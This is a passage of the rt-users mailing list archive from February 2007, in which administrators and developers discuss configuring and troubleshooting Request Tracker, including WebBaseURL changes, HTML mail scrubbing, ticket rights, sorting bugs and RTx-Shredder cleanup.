From: jesse at bestpractical.com (Jesse Vincent)
Date: Tue, 20 Feb 2007 08:34:50 -0800
Subject: [rt-users] Changing "WebBaseURL" ?
In-Reply-To: <45DA4A7D.9060207@nighthawkrad.net>
References: <45DA4A7D.9060207@nighthawkrad.net>
Message-ID: <7F4C9B71-5577-4663-BB2C-7D406ADD3E04@bestpractical.com>


On Feb 19, 2007, at 5:10 PM, Christopher Smith wrote:

> We have an RT server that was initially rooled out as a test/ 
> evaluation, using a "WebBaseURL" of http://rt.sub.domain.com.
>
> As these things often do, it's become "important".  As part of a  
> move to a new server, I'd like to change the "WebBaseURL" to http:// 
> rt.domain.com, to better reflect its "global" status.
>
>
> My question is, what impact will this have ?  I obviously need to  
> change the $WebBaseURL value in RT_SiteConfig.pm appropriately and  
> also the "--url" parts of the procmail recipes that feed mail into  
> rt-mailgate. Is there anything else ?
>
> If I configure the new webserver to answer to rt.sub.domain.com as  
> well as rt.domain.com, will that be enough to make any old  
> references from tickets keep working, or should I do some sort of  
> manual search/replace through the database to change the existing  
> data ?
>


It's only going to have ended up in outgoing mail.  You should be all  
set.

-jesse

>
> -- 
> Christopher Smith
>
> Systems Administrator
> Nighthawk Radiology Services
> Level 11, Suite 1101
> Grosvenor Place
> 225 George Street
> Sydney NSW 2000
> Australia
>
> T:  612 - 8211 2300 (IP: x8163)
> F:  612 - 8211 2333
> M:  61  - 407 397 563
> USA Toll free:  866 241 6635
> E: csmith at nighthawkrad.net
> I: www.nighthawkrad.net
>
> CONFIDENTIALITY NOTICE:   This email, including any attachments,  
> contains information from NightHawk Radiology Services, which may  
> be confidential or privileged. The information is intended to be  
> for the use of the individual or entity named above. If you are not  
> the intended recipient, be aware that any disclosure, copying,  
> distribution or use of the contents of this information is  
> prohibited. If you have received this email in error, please notify  
> NightHawk Radiology Services immediately by forwarding message to  
> postmaster at nighthawkrad.net and destroy all electronic and hard  
> copies of the communication, including attachments.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly  
> Media. Buy a copy at http://rtbook.bestpractical.com
>

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From jesse at bestpractical.com  Tue Feb 20 11:37:26 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Tue, 20 Feb 2007 08:37:26 -0800
Subject: [rt-users] HTML E-Mails (was: No Answers)
In-Reply-To: <EBE724A2DE794D44B545B2B355DD3CC704308466@server15.int.cancom.de>
References: <OFE0036DC2.4115F420-ON86257282.006BA669-86257282.006CA144@pgtv.com>
	<EBE724A2DE794D44B545B2B355DD3CC704308466@server15.int.cancom.de>
Message-ID: <C7CC844B-CA90-4337-88DA-385F71451011@bestpractical.com>


On Feb 19, 2007, at 6:00 AM, Torben Nehmer wrote:

> Hello everybody,
>
> thanks for the answers so far, I'm starting to get a grasp at the  
> problems now.
>
> -- On 2007-02-14 James Moseley wrote:
>> Torben, without doing the research, I am not even sure if the RT  
>> code knows
>> how to parse html email.  I think you'd be better off just sending  
>> plain
>> text email through the mailgate.  I am sure this topic has been  
>> covered
>> before somewhere in the list archives.
>
> I have been searching for the specific problem I have here with MS  
> Outlook driven HTML / Rich Text mails, unfortunalety the only  
> references I found were years old and basically outlining the same  
> problem but no solution which I could use.
>
> I have been thinking patching into RTs HTML Mail handling to  
> optionally plug in HTMLTidy before actually showing the mails, but  
> so fare I would need some pointers where to start looking (RTs  
> codebase isn't exactly trivial to understand, which is no  
> complaint, just a statement of fact):
>

We're already doing a "tidy" like operation on the content to prevent  
nasty stuff from leaking through (which might be causing your  
problem) It's in /Elements/ScrubHTML.

That's probably the best place to do additional html hacking.

-jesse


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From trosmus at nwnexus.net  Tue Feb 20 14:22:09 2007
From: trosmus at nwnexus.net (Tim Rosmus)
Date: Tue, 20 Feb 2007 11:22:09 -0800 (PST)
Subject: [rt-users] User CustomField file/image Upload problem
Message-ID: <Pine.GSO.4.64.0702201110500.25211@admin.halcyon.com>

We have set up some User CustomFields and are having a slight
problem with using the "Upload" Type for a given field.

No matter if we use "Upload one (or multiple) image" type or
the "Upload one (or multiple) file" type,  any binary image
such as a spreadsheat or MS doc file ends up being corrupt
when tryin to view later.

I assume these uploads are being stored in the 
ObjectCustomFieldsValues table.   The value for
Content in this table is "varchar".  Is this
correct, or should it be a longblob binary
value like the Attachments table?

Any hints on how to solve this is welcome, thanks.
-- 
                 Tim Rosmus <trosmus at nwnexus.net>
                    Postmaster / USENET / DNS
                 Northwest Nexus Inc. / NetOS Inc.


From mikef at ack.berkeley.edu  Tue Feb 20 16:47:18 2007
From: mikef at ack.berkeley.edu (Mike Friedman)
Date: Tue, 20 Feb 2007 13:47:18 -0800 (PST)
Subject: [rt-users] Problem installing HTML::TreeBuilder and
	HTML::FormatText
In-Reply-To: <20070216105713.M60053@malcolm.berkeley.edu>
References: <20070216105713.M60053@malcolm.berkeley.edu>
Message-ID: <20070220133336.K37912@malcolm.berkeley.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I'm still trying to install the perl pre-reqs for RT 3.6.3 on Solaris 10 
(see below).  In addition to the two modules HTML::TreeBuilder and 
HTML::FormatText refusing to install, now I notice this when I run 'make 
fixdeps':

   Text::Quoted 1.3...MISSING
     Text::Quoted version 1.3 required--this is only version 1.10 at (eval 71) line 2.

But the latest version of Text::Quoted at CPAN is 1.10!  Is the above 
message correct?

I'm stymied.  This is Solaris 10 and I'm running on a 'virtual private 
server', where I must install these modules in my home directory.  So, 
I've set up my PERL5LIB environment variables to point to my own 
~/lib/perl5, etc. directories and configured my CPAN parameters so that 
PREFIX points to my home directory.

(Unfortunately, it appears that 'make fixdeps' doesn't honor these 
settings, so I've been installing the 'MISSING' modules using the CPAN 
module myself, which does honor them).

Because everything I'm installing goes under ~/lib and ~/share in my home 
directory, I've been able to re-do this whole process many times, by 
starting with fresh versions of these directories each time.  But I can't 
seem to get the TreeBuilder and FormatText modules not to fail at least 
one of their tests (see below) and also the above-mentioned problem with 
the version of Text::Quoted still occurs.

Any ideas?

Thanks.

Mike

===========================================================================
On Fri, 16 Feb 2007 at 11:08 (-0800), Mike Friedman wrote:

> I'm trying to install all the pre-reqs for RT 3.6.3 on a Solaris 10 
> (x86) platform.  This is a clean RT install, not an upgrade.
>
> I've managed to get all the modules shown by 'make testdeps' installed, 
> via CPAN (or already on the system), except for these two:
>
>  HTML::TreeBuilder
>  HTML::FormatText
>
> In the case of both of the above, I get the following messages (among 
> others) during the install.  (After 'make fixdeps' failed to install 
> them, I just tried to install them each manually, using the CPAN 
> module):
>
> ========================================================
> While running 'make test':
>
>  Wide character in print at /users/ist-rt/share/perl/5.8.8/Test/Builder.pm 
> line 1192.
>  #   Failed test 'href should contain 'lang' (is: 
> http://wherever/moo.cgi?xyz=123\342\214\251=en)'
>  #   at t/attributes.t line 25.
>       t/attributes........NOK 1# Looks like you failed 1 test of 1.
>       t/attributes........dubious
>       Test returned status 1 (wstat 256, 0x100)
>  DIED. FAILED test 1
>    Failed 1/1 tests, 0.00% okay
>
> ...
>
>   Failed 1/17 test scripts, 94.12% okay. 1/746 subtests failed, 99.87% okay.
>   *** Error code 29
>   make: Fatal error: Command failed for target `test_dynamic'
>     /usr/ccs/bin/make test -- NOT OK
>   Running make install
>     make test had returned bad status, won't install without force
> ========================================================

_________________________________________________________________________
Mike Friedman                        IST/System and Network Security
mikef at ack.Berkeley.EDU               2484 Shattuck Avenue
1-510-642-1410                       University of California at Berkeley
http://socrates.berkeley.edu/~mikef  http://security.berkeley.edu
_________________________________________________________________________

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From ruslan.zakirov at gmail.com  Tue Feb 20 20:32:34 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 04:32:34 +0300
Subject: [rt-users] remove summary from 'RT at a glance'
In-Reply-To: <20070123121030.GA10526@math.ohio-state.edu>
References: <20070122211448.GA9091@math.ohio-state.edu>
	<bdbd084b0701222325w40416635va2bb2814427e5611@mail.gmail.com>
	<20070123121030.GA10526@math.ohio-state.edu>
Message-ID: <589c94400702201732g4402e64aibacec6830b502b2a@mail.gmail.com>

Backporting was easy so it's coming in 3.6.4.

On 1/23/07, Dave Alden <alden at math.ohio-state.edu> wrote:
> Hi,
>
> On Tue, Jan 23, 2007 at 08:25:33AM +0100, Torsten Brumm wrote:
> > do you have a screenshot of what you mean??? Should it look like this??? See
> > attached Screen.
>
> No - I want the main screen (the left 2/3rds of your screen) to take up the
> entire screen (I don't have anything on the right 1/3rd because I deleted
> it all from the RT at a glance preference page).  Ruslan Zakirov has already
> responded with "this is in 3.7" - so it's coming.  :-)
>
> ...dave
>
> --
> Dave Alden
> The Ohio State University
> Department of Mathematics
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Tue Feb 20 20:51:10 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 04:51:10 +0300
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45D8BDA7.1020500@mococo.nl>
References: <45CE1E1E.7010308@oracle.com>
	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>
	<45D09C86.70101@oracle.com> <45D16817.7000404@mococo.nl>
	<45D17354.5030806@mococo.nl> <45D26090.7020407@oracle.com>
	<45D2C26C.9040107@mococo.nl> <45D327DD.70402@mococo.nl>
	<589c94400702181147sbc46e6dw3a2180cc3a6a335@mail.gmail.com>
	<45D8BDA7.1020500@mococo.nl>
Message-ID: <589c94400702201751n4bc269ebob4156a0fd943ca9b@mail.gmail.com>

As I understand this patch hides some tickets that should be in a
result set. Joe, is that true?

On 2/18/07, Joop van de Wege <JoopvandeWege at mococo.nl> wrote:
> Ruslan Zakirov wrote:
> > Joop, should I revert the patch before release?
> No since the patch fixes at least the problems with customfield display
> on tickets and assets. The query which is build when searching is
> slightly different and I haven't had time to discuss this with our DBA.
> It has to do with the MIN(column), changing to another aggregate
> function gives us a different result, but still not the right one.
>
> Joop
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Tue Feb 20 21:12:01 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 05:12:01 +0300
Subject: [rt-users] blank OrderBy entries causing query to fail - 3.6.3
In-Reply-To: <45CC9BC2.1080109@findlay.edu>
References: <45CC9BC2.1080109@findlay.edu>
Message-ID: <589c94400702201812u492398cel85e63ba4a6c7a1ff@mail.gmail.com>

I've checked 3.6.HEAD and there is no way to select [none] in the
first order by select box.

On 2/9/07, Ryan Fox <rfox at findlay.edu> wrote:
> On my rt 3.6.3 install, I'm experiencing a problem where when performing
> a ticket search, if all 4 OrderBy fields are not filled in, and the 'Add
> and Search' button is pressed (submitting it to Build.html), the count
> of tickets displays correctly but no tickets are displayed in the list.
>
> The rt.log confirms that the query passed to mysql is invalid.
>
> Fri Feb  9 15:54:45 2007] [warning]: DBD::mysql::st execute failed: You
> have an error in your SQL syntax.  Check the manual that corresponds to
> your MySQL server version for the right syntax to use near '| ASC,
> main.id DESC  LIMIT 50' at line 1 at
> /usr/local/libdata/perl5/site_perl/DBIx/SearchBuilder/Handle.pm line 50
> 5. (/usr/local/libdata/perl5/site_perl/DBIx/SearchBuilder/Handle.pm:505)
> [Fri Feb  9 15:54:45 2007] [warning]: RT::Handle=HASH(0x863734e4)
> couldn't execute the query 'SELECT main.* FROM Tickets main   WHERE
> ((main.EffectiveId = main.id)) AND ((main.Status != 'deleted')) AND
> ((main.Type = 'ticket')) AND ((main.Queue = '7') AND  ( (main.Status !=
> 'rejected') AND (main.Status != 'deleted') AND (main.Status !=
> 'resolved') ) )  ORDER BY main.id||| ASC, main.id DESC  LIMIT 50' at
> /usr/local/libdata/perl5/site_perl/DBIx/SearchBuilder/Handle.pm line 518
>
> The same query works fine from the 'Show Results' link at the top that
> submits to Results.html, as do Results.tsv and rdf.
>
> Can anyone else confirm this is happening to them?
>
> Thanks,
> Ryan
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Tue Feb 20 21:14:12 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 05:14:12 +0300
Subject: [rt-users] Problem with X Highest Owned link
In-Reply-To: <589c94400702061609v2c826736xf32f0267a31afb7@mail.gmail.com>
References: <C7C9E0533C7E6A49AB4586C392C9650001F2C14C@mail1.COT.PVT>
	<589c94400702061609v2c826736xf32f0267a31afb7@mail.gmail.com>
Message-ID: <589c94400702201814l21d36385wdeba5a58d5e501fe@mail.gmail.com>

fixed in the repo

On 2/7/07, Ruslan Zakirov <ruslan.zakirov at gmail.com> wrote:
> knonw issue of 3.6.3, I will fix it in a few days, but I don't mind if
> somebody will send a patch for it.
>
> On 2/7/07, Ryan Hardester <ryan.hardester at ci.tracy.ca.us> wrote:
> > I just upgraded from RT 3.6.1 to 3.6.3.
> > Everything went fine, but now when I Click on the "X Highest Owned" title link the results are locked at 10 per page. If I look at the system search it is set to 50, my personal settings are set to 50, but this link will always return 10. I have checked with other users and they get 50 per page so it is apparently just me. Any suggestions for where I can look to try and fix this for my user?
> >
> > --Ryan
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
> >
>
>
> --
> Best regards, Ruslan.
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Tue Feb 20 21:16:25 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 05:16:25 +0300
Subject: [rt-users] Notify Requestors and cc
In-Reply-To: <2ACF6489BC112B4F9C8956BADB9228E6056D315C@ASHEVS005.mcilink.com>
References: <2ACF6489BC112B4F9C8956BADB9228E6056D315C@ASHEVS005.mcilink.com>
Message-ID: <589c94400702201816h954f790yfd74da31892cbbde@mail.gmail.com>

http://wiki.bestpractical.com/?AddNewNotifyActions

On 2/20/07, Dalal, Kamber Z (Kamber) <kamber.dalal at verizonbusiness.com> wrote:
>
>
> I have noticed that RT sends separate emails.  One to the requestors, which
> does not show the cc'd address and other to the cc'd email address which
> does not show the To field
> Is there a way to combine these as one outgoing mail where both the To and
> the CC field are shown?
>
> Thank you,
> Kamber Dalal
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From jesse at bestpractical.com  Tue Feb 20 21:27:35 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Tue, 20 Feb 2007 21:27:35 -0500
Subject: [rt-users] 3.6.3 - Non-privileged users & ShowTicket
In-Reply-To: <45D2573A.7010702@oracle.com>
References: <45D2573A.7010702@oracle.com>
Message-ID: <E7CB4A46-AB1A-441A-A92A-1296EEE8D18F@bestpractical.com>


On Feb 13, 2007, at 7:26 PM, Joe Casadonte wrote:

> If I don't give non-privileged users the ShowTicket right, then  
> they cannot see their own tickets.  If I do, then they can see  
> *any* ticket (by using the Goto Ticket box).  Is there a happy  
> medium?  I am doing this via Global -> Group Rights.  I could do it  
> via Queues -> General -> Group Rights, which would limit the  
> exposure, but still not limit it to just their tickets.  Thanks!
>
Granting that right to the Requestor role would do what you want, I  
think


> -- 
> Regards,
>
>
> joe
>
>  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> |           Joe Casadonte           |  joe.casadonte at oracle.com     |
> |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
> | Oracle Transportation Management  |  1016 West Ninth Avenue       |
> |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
> |           610-491-3315            |  King of Prussia, PA  19406   |
>  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly  
> Media. Buy a copy at http://rtbook.bestpractical.com
>

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From ruslan.zakirov at gmail.com  Tue Feb 20 21:28:37 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 05:28:37 +0300
Subject: [rt-users] Having intial Requesters additions included in ticket
	history
In-Reply-To: <45D9C4D4.3010906@pipex.net>
References: <45D9C4D4.3010906@pipex.net>
Message-ID: <589c94400702201828x4dd13195y9b31cff878334333@mail.gmail.com>

On 2/19/07, Roy El-Hames <rfh at pipex.net> wrote:
> Hi there;
> rt-3.6.1 apache2, mod_perl2, mysql5
>
> When a ticket is created from the web interface,an agent in most cases
> will enter a customer email address as requester, is there any way that
> this action is added/included in the ticket history, similar to how
> adding a requester from the People tab is recorded (user - Requester
> Blah added) ..
> I know I need to call
> Transaction->AddWatcher,
> but how and from where ??
Why do you need another transaction? In the most cases I heard about
people want to merge all changes during creation into one transaction.

>
> Many thanks;
> Roy

-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Tue Feb 20 21:38:46 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 05:38:46 +0300
Subject: [rt-users] RTx-Shredder Error
In-Reply-To: <bdbd084b0702120719i5fa5388fh337635c8462e6794@mail.gmail.com>
References: <bdbd084b0702120719i5fa5388fh337635c8462e6794@mail.gmail.com>
Message-ID: <589c94400702201838i2ebc969bu4022e538f15e4574@mail.gmail.com>

Always Cc author of an extension (in this case it's me).

Try to run the following SQL queries:
SELECT l.* FROM Links l LEFT JOIN Tickets t ON l.LocalTarget = t.id
WHERE l.LocalTarget >= 0 AND t.id IS NULL;
SELECT l.* FROM Links l LEFT JOIN Tickets t ON l.LocalBase = t.id
WHERE l.LocalBase >= 0 AND t.id IS NULL;

On 2/12/07, Torsten Brumm <torsten.brumm at googlemail.com> wrote:
> Hi,
>
> today i upgrade RTx-Shredder to the newest Version and tried to delete old
> Tickets. I get the following error:
>
> tbrumm at bruchtal-www2:/opt/rt3ast/local/sbin$
> /opt/rt3ast/local/sbin/rtx-shredder --plugin
> 'Tickets=status,resolved;limit,50' --force
> SQL dump file is
> '/opt/rt3ast/local/sbin/20070212T145132-0001.sql'
> [Mon Feb 12 15:06:53 2007] [crit]: RT::Ticket=HASH(0xa74f388) tried to load
> a bogus ticket: 123004
> (/opt/rt3ast/lib/RT/Ticket_Overlay.pm:258)
> [Mon Feb 12 15:06:54 2007] [crit]: Couldn't wipeout object: Can't call
> method "IsLocal" on an undefined value at /opt/rt3ast/lib/RT/URI.pm line
> 247. (/opt/rt3ast/lib/RT.pm:317)
>
> Any Ideas??? This happens all the time i try to delete tickets.
>
> --
> MFG
>
> Torsten Brumm
>
> http://www.torsten-brumm.de
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From joe.casadonte at oracle.com  Tue Feb 20 21:49:46 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Tue, 20 Feb 2007 21:49:46 -0500
Subject: [rt-users] 3.6.3 - Non-privileged users & ShowTicket
In-Reply-To: <E7CB4A46-AB1A-441A-A92A-1296EEE8D18F@bestpractical.com>
References: <45D2573A.7010702@oracle.com>
	<E7CB4A46-AB1A-441A-A92A-1296EEE8D18F@bestpractical.com>
Message-ID: <45DBB34A.90804@oracle.com>

On 2/20/2007 9:27 PM, Jesse Vincent wrote:

> Granting that right to the Requestor role would do what you want, I think

Indeed -- thanks.  I thought, for some reason, that Roles only applied 
to Privileged users.  Not sure where that came from, really.

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From JoopvandeWege at mococo.nl  Wed Feb 21 02:55:11 2007
From: JoopvandeWege at mococo.nl (Joop)
Date: Wed, 21 Feb 2007 08:55:11 +0100
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <589c94400702201751n4bc269ebob4156a0fd943ca9b@mail.gmail.com>
References: <45CE1E1E.7010308@oracle.com>	
	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>	
	<45D09C86.70101@oracle.com> <45D16817.7000404@mococo.nl>	
	<45D17354.5030806@mococo.nl> <45D26090.7020407@oracle.com>	
	<45D2C26C.9040107@mococo.nl> <45D327DD.70402@mococo.nl>	
	<589c94400702181147sbc46e6dw3a2180cc3a6a335@mail.gmail.com>	
	<45D8BDA7.1020500@mococo.nl>
	<589c94400702201751n4bc269ebob4156a0fd943ca9b@mail.gmail.com>
Message-ID: <45DBFADF.6040802@mococo.nl>

Ruslan Zakirov wrote:
> As I understand this patch hides some tickets that should be in a
> result set. Joe, is that true?
> 
> On 2/18/07, Joop van de Wege <JoopvandeWege at mococo.nl> wrote:
>> Ruslan Zakirov wrote:
>> > Joop, should I revert the patch before release?
>> No since the patch fixes at least the problems with customfield display
>> on tickets and assets. The query which is build when searching is
>> slightly different and I haven't had time to discuss this with our DBA.
>> It has to do with the MIN(column), changing to another aggregate
>> function gives us a different result, but still not the right one.

My patch fixes a problem where suddenly the display/order of 
customfields is changed on the ticket display page.
It doesn't seem to fix the problem of displaying the results of a search 
involving customfields, the former is a big showstopper the latter for 
us not.
If you want a screenshot showing what I'm trying to explain than that 
can be arranged, just ask for it.

Joop


From ruslan.zakirov at gmail.com  Wed Feb 21 03:19:24 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 11:19:24 +0300
Subject: [rt-users] RTx-Shredder Error
In-Reply-To: <bdbd084b0702202347n3485b134vdea82a00aeb3a9ef@mail.gmail.com>
References: <bdbd084b0702120719i5fa5388fh337635c8462e6794@mail.gmail.com>
	<589c94400702201838i2ebc969bu4022e538f15e4574@mail.gmail.com>
	<bdbd084b0702202347n3485b134vdea82a00aeb3a9ef@mail.gmail.com>
Message-ID: <589c94400702210019j221baa7ek5e7172ad600938b7@mail.gmail.com>

You can delete all these links as they point to tickets that don't
exist anymore. This was a bug in shredder which leaved links in system
in some situations and I think it's fixed.

Be very accurate.

On 2/21/07, Torsten Brumm <torsten.brumm at googlemail.com> wrote:
> Hi Ruslan,
>
> sorry, i forgot, sometimes its too much to remember ;-9
>
> Here we go with the statements:
>
> mysql> SELECT l.* FROM Links l LEFT JOIN Tickets t ON l.LocalTarget = t.id
>     -> WHERE l.LocalTarget >= 0 AND t.id IS NULL;
>
[snip]

-- 
Best regards, Ruslan.


From torsten.brumm at googlemail.com  Wed Feb 21 03:22:52 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Wed, 21 Feb 2007 09:22:52 +0100
Subject: [rt-users] RTx-Shredder Error
In-Reply-To: <589c94400702210019j221baa7ek5e7172ad600938b7@mail.gmail.com>
References: <bdbd084b0702120719i5fa5388fh337635c8462e6794@mail.gmail.com>
	<589c94400702201838i2ebc969bu4022e538f15e4574@mail.gmail.com>
	<bdbd084b0702202347n3485b134vdea82a00aeb3a9ef@mail.gmail.com>
	<589c94400702210019j221baa7ek5e7172ad600938b7@mail.gmail.com>
Message-ID: <bdbd084b0702210022hc0f5731k9f62c88d1168b50d@mail.gmail.com>

So, how do i delete them? Directly inside the DB or???

Torsten

2007/2/21, Ruslan Zakirov <ruslan.zakirov at gmail.com>:
>
> You can delete all these links as they point to tickets that don't
> exist anymore. This was a bug in shredder which leaved links in system
> in some situations and I think it's fixed.
>
> Be very accurate.
>
> On 2/21/07, Torsten Brumm <torsten.brumm at googlemail.com> wrote:
> > Hi Ruslan,
> >
> > sorry, i forgot, sometimes its too much to remember ;-9
> >
> > Here we go with the statements:
> >
> > mysql> SELECT l.* FROM Links l LEFT JOIN Tickets t ON l.LocalTarget =
> t.id
> >     -> WHERE l.LocalTarget >= 0 AND t.id IS NULL;
> >
> [snip]
>
> --
> Best regards, Ruslan.
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From theillien at yahoo.com  Wed Feb 21 03:49:54 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Wed, 21 Feb 2007 03:49:54 -0500
Subject: [rt-users] Further RTx::Shredder Errors
Message-ID: <45DC07B2.5070004@yahoo.com>

>From this

RTx::Shredder::Init( force => 1 );
my $shredder = new RTx::Shredder(RT::SystemUser);
if ($ans =~ m/^(y|yes)$/i){
#       my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
?/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql? );
        my $email;
        foreach $email (@emails){
                my $user = new RT::User(RT::SystemUser);
                $user->LoadByEmail($email);
                next unless $user->id;
                $shredder->PutObject(Object => $user);
        }
        $shredder->WipeoutAll;
#               system "/usr/local/rt-3.6.1/local/sbin/rtx-shredder --force
--plugin 'Users=status,any;email,$email;replace_relations,Nobody'";
#
system("/usr/local/rt-3.6.1/local/sbin/rtx-shredder","--force","--plugin","Users=status,any;email,$email;replace_relations,Nobody");
}

I get this

[Wed Feb 21 08:44:20 2007] [crit]: Couldn't wipeout object: Couldn't find
resolver for dependency 'RT::User-240410 (depends on,resolvable dependency)
RT::Attachment-270285' at /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line
393. (/usr/local/rt-3.6.1/lib/RT.pm:317)
Couldn't wipeout object: Couldn't find resolver for dependency 'RT::User-240410
(depends on,resolvable dependency) RT::Attachment-270285' at
/usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line 393.

Can someone shed some light on why this is failing?

Also, the above, commented-out line regarding SetFile produces this

Unrecognized character \xE2 at ./delete_spam_users.pl line 91

I don't know what the \xE2 is as I couldn't find anything on Google about it.

Mathew


From ruslan.zakirov at gmail.com  Wed Feb 21 08:24:23 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 16:24:23 +0300
Subject: [rt-users] RTx-Shredder Error
In-Reply-To: <bdbd084b0702210022hc0f5731k9f62c88d1168b50d@mail.gmail.com>
References: <bdbd084b0702120719i5fa5388fh337635c8462e6794@mail.gmail.com>
	<589c94400702201838i2ebc969bu4022e538f15e4574@mail.gmail.com>
	<bdbd084b0702202347n3485b134vdea82a00aeb3a9ef@mail.gmail.com>
	<589c94400702210019j221baa7ek5e7172ad600938b7@mail.gmail.com>
	<bdbd084b0702210022hc0f5731k9f62c88d1168b50d@mail.gmail.com>
Message-ID: <589c94400702210524v3e7612a2h353bfa580b2f9425@mail.gmail.com>

On 2/21/07, Torsten Brumm <torsten.brumm at googlemail.com> wrote:
> So, how do i delete them? Directly inside the DB or???
Directly.

>
> Torsten
>
> 2007/2/21, Ruslan Zakirov <ruslan.zakirov at gmail.com>:
> > You can delete all these links as they point to tickets that don't
> > exist anymore. This was a bug in shredder which leaved links in system
> > in some situations and I think it's fixed.
> >
> > Be very accurate.
> >
> > On 2/21/07, Torsten Brumm <torsten.brumm at googlemail.com> wrote:
> > > Hi Ruslan,
> > >
> > > sorry, i forgot, sometimes its too much to remember ;-9
> > >
> > > Here we go with the statements:
> > >
> > > mysql> SELECT l.* FROM Links l LEFT JOIN Tickets t ON l.LocalTarget =
> t.id
> > >     -> WHERE l.LocalTarget >= 0 AND t.id IS NULL;
> > >
> > [snip]
> >
> > --
> > Best regards, Ruslan.
> >
>
>
>
> --
>
> MFG
>
> Torsten Brumm
>
> http://www.torsten-brumm.de


-- 
Best regards, Ruslan.


From valery at podolsk.ru  Wed Feb 21 09:13:44 2007
From: valery at podolsk.ru (=?KOI8-R?Q?=F7=C1=CC=C5=D2=C9=CA_=E8=C1=D2=D8=CB=CF=D7?=)
Date: Wed, 21 Feb 2007 17:13:44 +0300
Subject: [rt-users] Promlem with OnChangeQueue and Attachements
Message-ID: <45DC5398.8050704@podolsk.ru>

Hi, all.

So, i've got new ticket with some text and attached file.


When i move it from one queue to another, and RT notifying me with template:

.
.
.

{$Ticket->Transactions->First->Content()}

I'am recieving a letter with text part only. Yes, it's okay, because of 
template. :)
But. How can i write a template or a scrip to get mail with attached file.

PS When my template was:

.
.
.


{$Transaction->Content()}

I got a : "This transaction appears to have no content".

Yes, i am understand that transaction (when you moving ticket between 
queues) has no content.
But i can't solve this problem :(

Thank you.


From ruslan.zakirov at gmail.com  Wed Feb 21 10:24:47 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
